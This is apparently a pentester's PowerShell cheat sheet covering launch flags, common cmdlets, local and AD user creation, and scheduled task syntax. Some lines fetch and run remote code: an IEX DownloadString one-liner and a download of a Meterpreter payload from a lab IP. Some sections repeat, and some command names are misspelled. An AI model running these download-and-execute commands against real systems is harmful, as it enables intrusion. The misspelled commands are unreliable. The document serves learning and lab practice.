Powershell
Microsoft has a free course on Introduction to Powershell here on their website. Information on about_Powershell.exe.
We can run powershell from the Start Menu by searching for it, through the command prompt by running powershell.exe, or through the run dialogbox(windows key+r) and running powershell.exe
In short, "PowerShell is a cross-platform task automation solution made up of a command-line shell, a scripting language, and a configuration management framework. PowerShell runs on Windows, Linux, and macOS." There is a comprehensive document here, on Microsoft website.
There is also a brief Introduction to powershell course.
Microsoft has a free course on Introduction to Powershell here on their website. Information on about_Powershell.exe.
We can run powershell from the Start Menu by searching for it, through the command prompt by running powershell.exe, or through the run dialogbox(windows key+r) and running powershell.exe
Arguments
-NoPOR-NoProfileWhen you launch PowerShell with NoProfile parameter, it ensures to run script in default PowerShell environment and run without any Windows PowerShell profile. Does not load the Windows PowerShell profile.
powershell.exe -NoP
-NonIOR-NonInteractiveDoes not present an interactive prompt to the user.
-W HiddenOR-WindowStyle HiddenSets the window style to Normal, Minimized, Maximized or Hidden.
-Exec BypassOR-ExecutionPolicy BypassSets the default execution policy for the current session and saves it in the
$env:PSExecutionPolicyPreferenceenvironment variable. This parameter does not change the Windows PowerShell execution policy that is set in the registry.
-EncOR-EncodedCommandAccepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces.
Cmdlet
A cmdlet is a lightweight command that is used in the PowerShell environment. The PowerShell runtime invokes these cmdlets within the context of automation scripts that are provided at the command line. Cmdlets perform an action and typically return a Microsoft .NET object to the next command in the pipeline. A cmdlet is a single command that participates in the pipeline semantics of PowerShell. This includes binary (C#) cmdlets, advanced script functions, CDXML, and Workflows.
A cmdlet is simply a command through which you can perform an action. The two most helpful cmdlets that everyone should be aware of are:
Get-Command
Get-Help
Using the cmdlet ‘Get-Command’, you can find all the available cmdlets even if you do not know the exact cmdlet. For example, you want to restart a service from PowerShell, but you do not know the cmdlet. Although you can assume that it may contain the word ‘service’.
Common verbs:
Get
Start
Stop
Read
Write
New
Out
Full list of approved verbs can be found here.
Arguments
-NoPOR-NoProfileWhen you launch PowerShell with NoProfile parameter, it ensures to run script in default PowerShell environment and run without any Windows PowerShell profile. Does not load the Windows PowerShell profile.
powershell.exe -NoP
-NonIOR-NonInteractiveDoes not present an interactive prompt to the user.
-W HiddenOR-WindowStyle HiddenSets the window style to Normal, Minimized, Maximized or Hidden.
-Exec BypassOR-ExecutionPolicy BypassSets the default execution policy for the current session and saves it in the
$env:PSExecutionPolicyPreferenceenvironment variable. This parameter does not change the Windows PowerShell execution policy that is set in the registry.
-EncOR-EncodedCommandAccepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces.
Download files
Invoke-Expression - Evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression, a string submitted at the command line is returned (echoed) unchanged.
Invoke-WebRequest http://
(IP):(PORT)/(FILE) -Outfile (Outputfile)Invoke-WebRequest -URI http://192.168.1.52:8000/test.txt -Outfile Downloaded.txt
"IEX (New-Object Net.WebClient).DownloadString('URL')"
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.52:8000/test.txt')
General
PowerShell Extensions
.ps1 - Executable script
.psd1 - Details contents of the Powershell modules in a table of key/value pairs
.psm1 - Powershell module file
Commands
Shows information about a cmdlet;
Get-Help Command-NameGet all the cmdlets installed on the current Computer. This cmdlet allows for pattern matching such as
Get-Command Verb-*orGet-Command *-Noun
Get-CommandThe Pipe( | )- Used to pass output from one cmdlet to another.
Verb-Noun | Get-MemberMake a request to a webserver. Sends HTTP and HTTPS requests to a web page or web service. It parses the response and returns collections of links, images, and other significant HTML elements. More info can be found here.
Invoke-WebRequest -URI http://(IP):(PORT)/(FILE) -Outfile (FILE)`
Invoke-WebRequest "http://10.0.2.8/meterpreter-64.ps1" -Outfile "meterpreter.ps1"(New-Object System.Net.WebClient)DownloadFile('URL/File', 'Output-File')(New-Object System.Net.WebClient)DownloadFile('http://10.0.2.8/meterpreter-64.ps1', 'meterpreter.ps1')Enumerate already installed patches
Get-HotfixGet-Hotfix | Format-list | findstr InstalledOnGet-Hotfix | Format-Table HotFixIDGather more information about objects
Format-Listdir | Format-ListSave the output to a file for further use
Out-FileGet-Hotfix | Out-File Hotfixes.txtStart a process, such as notepad.
Start-Process PROCESSNAMEList all running processes. Can also be used with the
-nameparameter to filter for a specific process
Get-ProcessExport the Previously piped command into a .CSV file that may be easier to read.
(command) | Export-CsvDisplays the content within a file or object. Similar to the
catcommand on linux.
Get-Content FILEGet the hash of a specified file
Get-FileHashShow files in current directory
dirShow hidden files in current directory
dir /A:HRetrieve an object
Get-ItemLists out the content of a folder or registry hive.
Get-ChildItemCreate new objects.
New-ItemModify the property values of an object.
Set-ItemCopy Item
Copy-ItemRename item
Rename-ItemDelete item
Remove-ItemAppend content to a file.
Add-ContentOverwrite any content in a file with new data.
Set-ContentClear the content of the files without deleting the file itself.
Clear-ContentCompare two or more objects against each other. This includes the object itself and the content within.
Compare-ObjectList Domain Controllers
netdom query DCView command history
Get-Histtory # Powershell
doskey /history # CMDListing the Contents of the File System
treeListing the Contents of the File System with files
tree /FView file contents
Get-Contents FILEGeneral system info
systeminfoSee hosts that have come into contact with our machine
arp /aView current privileges of our user
whoami /privView groups our user is in
whoami /groupsView all active services
sc query type= serviceStop a service
sc stop SERVICEStart a service
sc start SERVICESee available modules
Get-Module -ListAvailableImport a module
Import-Module .\FILEView Execution Policy
Get-ExecutionPolicy Change Execution Polixy
Set-ExecutionPolicy undefined/restricted/unrestricted/View Local Groups
get-localgroupView Local Users
Get-LocalUserAdding a new user
New-LocalUser -Name "USERNAME" -NoPasswordAdd password to new user
$Password = Read-Host -AsSecureString
Set-LocalUser -Name "USERNAME" -Password $Password -Description "DESCRIPTION"Add user to local group
Add-LocalGroupMember -Group "GROUP" -Member "USERNAME"Download file
Invoke-WebRequest -Uri "URL" -OutFile "/path/FILENAME"
(New-Object Net.WebClient).DownloadFile("URL, "/path/FILENAME")AD-Module
List AD Users
Get-ADUser -Filter *
Get-ADUser -Identity USERNAMEAdd new AD user
New-ADUser -Name "USERNAME" -Surname "LASTAME" -GivenName "FIRSTNAME" -Office "Security" -OtherAttributes @{'mail'="USERNAME@DOMAIN"} -Accountpassword (Read-Host -AsSecureString "AccountPassword") -Enabled $true Scheduled Tasks
View currently scheduled tasks
SCHTASKS /Query /V /FO listCreate Syntax
Action
Parameter
Description
Create
Schedules a task to run.
/sc
Sets the schedule type. It can be by the minute, hourly, weekly, and much more. Be sure to check the options parameters.
/tn
Sets the name for the task we are building. Each task must have a unique name.
/tr
Sets the trigger and task that should be run. This can be an executable, script, or batch file.
/s
Specify the host to run on, much like in Query.
/u
Specifies the local user or domain user to utilize
/p
Sets the Password of the user-specified.
/mo
Allows us to set a modifier to run within our set schedule. For example, every 5 hours every other day.
/rl
Allows us to limit the privileges of the task. Options here are limited access and Highest. Limited is the default value.
/z
Will set the task to be deleted after completion of its actions.
Creating a new scheduled task is pretty straightforward. At a minimum, we must specify the following:
/create: to tell it what we are doing/sc: we must set a schedule/tn: we must set the name/tr: we must give it an action to takeChange Syntax
Action
Parameter
Description
Change
Allows for modifying existing scheduled tasks.
/tn
Designates the task to change
/tr
Modifies the program or action that the task runs.
/ENABLE
Change the state of the task to Enabled.
/DISABLE
Change the state of the task to Disabled.
Delete Syntax
Action
Parameter
Description
Delete
Remove a task from the schedule
/tn
Identifies the task to delete.
/s
Specifies the name or IP address to delete the task from.
/u
Specifies the user to run the task as.
/p
Specifies the password to run the task as.
/f
Stops the confirmation warning.
Additional resources
Last updated